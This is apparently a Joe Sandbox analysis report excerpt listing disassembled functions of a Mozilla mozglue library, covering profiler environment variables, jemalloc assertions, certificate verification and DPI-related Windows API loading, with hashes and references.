Part of subcall function 6C6135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
Part of subcall function 6C6135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
Part of subcall function 6C6135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
Part of subcall function 6C6135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
Part of subcall function 6C6135A0: __aulldiv.LIBCMT ref: 6C6136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61309F

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6130BE

Part of subcall function 6C6130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C613127
Part of subcall function 6C6130F0: __aulldiv.LIBCMT ref: 6C613140

Part of subcall function 6C64AB2A: __onexit.LIBCMT ref: 6C64AB30

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction ID: 370e249e8b59a976987b2e382ec21702f69d23d636ddd687ad6ba78ba12ea023
Opcode Fuzzy Hash: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction Fuzzy Hash: E0F0F932D2074597CB10DF3588D11E67374AF6B115F515729F84553521FB2061E883DF

Non-executed Functions

Function 6C625440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C625492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6254BE
__Init_thread_footer.LIBCMT ref: 6C6254DB

Part of subcall function 6C64AB3F: EnterCriticalSection.KERNEL32(6C69E370,?,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284), ref: 6C64AB49
Part of subcall function 6C64AB3F: LeaveCriticalSection.KERNEL32(6C69E370,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64AB7C

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C625516
GetCurrentThreadId.KERNEL32 ref: 6C62556A
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625577
moz_xmalloc.MOZGLUE(00000070), ref: 6C625585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C625590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6255E6
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C625616

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

GetCurrentThreadId.KERNEL32 ref: 6C62563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C625646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C62567C
free.MOZGLUE(?), ref: 6C6256AE

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6256E8
GetCurrentThreadId.KERNEL32 ref: 6C625707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C62570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C625729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C62574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C62576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C625796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6257CA

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C62548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C625C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6254B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6256E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C625724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C625BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C625749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C625766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C625D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6257AE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C625D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C625511
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C625D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C62584E
[I %d/%d] profiler_init, xrefs: 6C62564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6254A3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C625791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C625D1C
MOZ_PROFILER_STARTUP, xrefs: 6C6255E1
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C625717
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6257C5
GeckoMain, xrefs: 6C625554, 6C6255D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C625B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C625AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C625CF9

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction ID: ac519d78ec1055308dc91fe50fa7110d4e0fe861e6e2514abf06171b6d1090af
Opcode Fuzzy Hash: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction Fuzzy Hash: EE2234B0A043029FDB209F35888866A77B5AF8730CF50492AF94697B45E739C859CF5F

Function 6C65B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C65B845
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000), ref: 6C65B852
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65B884
InitializeConditionVariable.KERNEL32(?), ref: 6C65B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C65B9FD
GetCurrentThreadId.KERNEL32 ref: 6C65BA05
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000), ref: 6C65BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C65BA27
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65BA4B
free.MOZGLUE(?), ref: 6C65C9C7
free.MOZGLUE(?), ref: 6C65C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C65C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C65C7DA

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 88036343120b1af7b4eddbe8cb05d393db0b760072129332298294f04916048e
Instruction ID: c2daf28e6f41f41a8b84f72a54f332c47bce32d64c010889beeae66c23fe8b55
Opcode Fuzzy Hash: 88036343120b1af7b4eddbe8cb05d393db0b760072129332298294f04916048e
Instruction Fuzzy Hash: C3A2C071A083818FC721CF29C48079FB7E5BFCA714F514A2DE99997351DB70A909CB8A

Function 6C626C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C626CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C626D26

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C626D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C626D73
free.MOZGLUE(00000000), ref: 6C626D80
CertGetNameStringW.CRYPT32 ref: 6C626DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C626DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C626DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C626E10
CryptMsgClose.CRYPT32(00000000), ref: 6C626E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C626E34
CreateFileW.KERNEL32 ref: 6C626EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C626F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C62709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C627103
free.MOZGLUE(00000000), ref: 6C627153
CloseHandle.KERNEL32(?), ref: 6C627176
__Init_thread_footer.LIBCMT ref: 6C627209
__Init_thread_footer.LIBCMT ref: 6C62723A
__Init_thread_footer.LIBCMT ref: 6C62726B
__Init_thread_footer.LIBCMT ref: 6C62729C
__Init_thread_footer.LIBCMT ref: 6C6272DC
__Init_thread_footer.LIBCMT ref: 6C62730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6273C2
VerSetConditionMask.NTDLL ref: 6C6273F3
VerSetConditionMask.NTDLL ref: 6C6273FF
VerSetConditionMask.NTDLL ref: 6C627406
VerSetConditionMask.NTDLL ref: 6C62740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C62741A
moz_xmalloc.MOZGLUE(?), ref: 6C62755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C627568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C627585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C627598
free.MOZGLUE(00000000), ref: 6C6275AC

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

SHA256, xrefs: 6C626EC0
(, xrefs: 6C62768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C6272C8
wintrust.dll, xrefs: 6C6272CD

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction ID: 79fc8af959e337d1493843ed6264b8959ca49aa854138c5d05e51de05dffdc10
Opcode Fuzzy Hash: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction Fuzzy Hash: C652F5B1A002159BEB21DF25CC84FAA77B8FF46704F1041A9F909A7640DB74AF85CF99

Function 6C646FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C647019
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C647061
EnterCriticalSection.KERNEL32(?), ref: 6C6471A4
LeaveCriticalSection.KERNEL32(?), ref: 6C64721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C64723E
EnterCriticalSection.KERNEL32(?), ref: 6C64726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6472B2
LeaveCriticalSection.KERNEL32(?), ref: 6C64733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6473E8
LeaveCriticalSection.KERNEL32(?), ref: 6C64961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C649622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C649642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6496DB
AcquireSRWLockExclusive.KERNEL32(6C69E804), ref: 6C649747
GetSystemInfo.KERNEL32(?), ref: 6C649792
__Init_thread_footer.LIBCMT ref: 6C6497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C69E810,00000040), ref: 6C6497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E7B8,00001388), ref: 6C649838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E744,00001388), ref: 6C64984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E784,00001388), ref: 6C649874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E7DC,00001388), ref: 6C649895

Strings

MOZ_CRASH(), xrefs: 6C649B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6499D2
<jemalloc>, xrefs: 6C649B33, 6C649BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6499BD
Compile-time page size does not divide the runtime one., xrefs: 6C649B38
MALLOC_OPTIONS, xrefs: 6C6497CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C649BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6499A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C649933, 6C649A33, 6C649A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C649993

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 27d502f08f39cc06833f3b4f2f25b4dbfc98553962e676cb0cf4db51f3434b4a
Instruction ID: e611143e3b97d8087f936df02c8cf3c0852033cd9fa3329a58c91c7c425b1739
Opcode Fuzzy Hash: 27d502f08f39cc06833f3b4f2f25b4dbfc98553962e676cb0cf4db51f3434b4a
Instruction Fuzzy Hash: 6053AF71A057028FD704CF29C580655FBE1BF8A328F29C66DE869CB7A1D771E841CB89

Function 6C650DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C650F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C650F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C650FB7
EnterCriticalSection.KERNEL32(?), ref: 6C650FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C651031
LeaveCriticalSection.KERNEL32(?), ref: 6C6510D0
EnterCriticalSection.KERNEL32(?), ref: 6C65117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C651C39
EnterCriticalSection.KERNEL32(6C69E744), ref: 6C653391
LeaveCriticalSection.KERNEL32(6C69E744), ref: 6C6533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C653431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C653437

Strings

MOZ_CRASH(), xrefs: 6C653950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6537D2
<jemalloc>, xrefs: 6C653941, 6C6539F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6537BD
Compile-time page size does not divide the runtime one., xrefs: 6C653946
MALLOC_OPTIONS, xrefs: 6C6535FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C653A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6537A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C653559, 6C65382D, 6C653848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C653793

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 20757ab8a34da53974549144e8133296fba5e73ed704b191b8213c5a7936e5c2
Instruction ID: 2e136f6e19ec7974eb5387150851c2e39fc05f5754198f77e54c6f068523ef24
Opcode Fuzzy Hash: 20757ab8a34da53974549144e8133296fba5e73ed704b191b8213c5a7936e5c2
Instruction Fuzzy Hash: BC53AD71A057028FC304CF29C580616FBE1BF89728F79C66DE8699B791D731E861CB89

Function 6C6755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C64E1A5), ref: 6C675606
LoadLibraryW.KERNEL32(gdi32,?,6C64E1A5), ref: 6C67560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C675633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C67563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C67566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C67567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C675696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C675716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C67572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C675748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C675761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C67577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C675793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6757FF

Strings

user32, xrefs: 6C675601
StretchDIBits, xrefs: 6C6757CC
AreDpiAwarenessContextsEqual, xrefs: 6C675637
GetWindowDC, xrefs: 6C675710
GetMonitorInfoW, xrefs: 6C6757A2
DeleteObject, xrefs: 6C6757F9
LoadIconW, xrefs: 6C67575B
FillRect, xrefs: 6C675729
gdi32, xrefs: 6C67560A
EnableNonClientDpiScaling, xrefs: 6C675666
GetThreadDpiAwarenessContext, xrefs: 6C67562D
MonitorFromWindow, xrefs: 6C67578D
RegisterClassW, xrefs: 6C6756AC
SetWindowLongPtrW, xrefs: 6C6757B7
GetSystemMetricsForDpi, xrefs: 6C675677
ReleaseDC, xrefs: 6C675742
CreateSolidBrush, xrefs: 6C6757E4
GetDpiForWindow, xrefs: 6C675690
CreateWindowExW, xrefs: 6C6756C5
SetWindowPos, xrefs: 6C6756F7
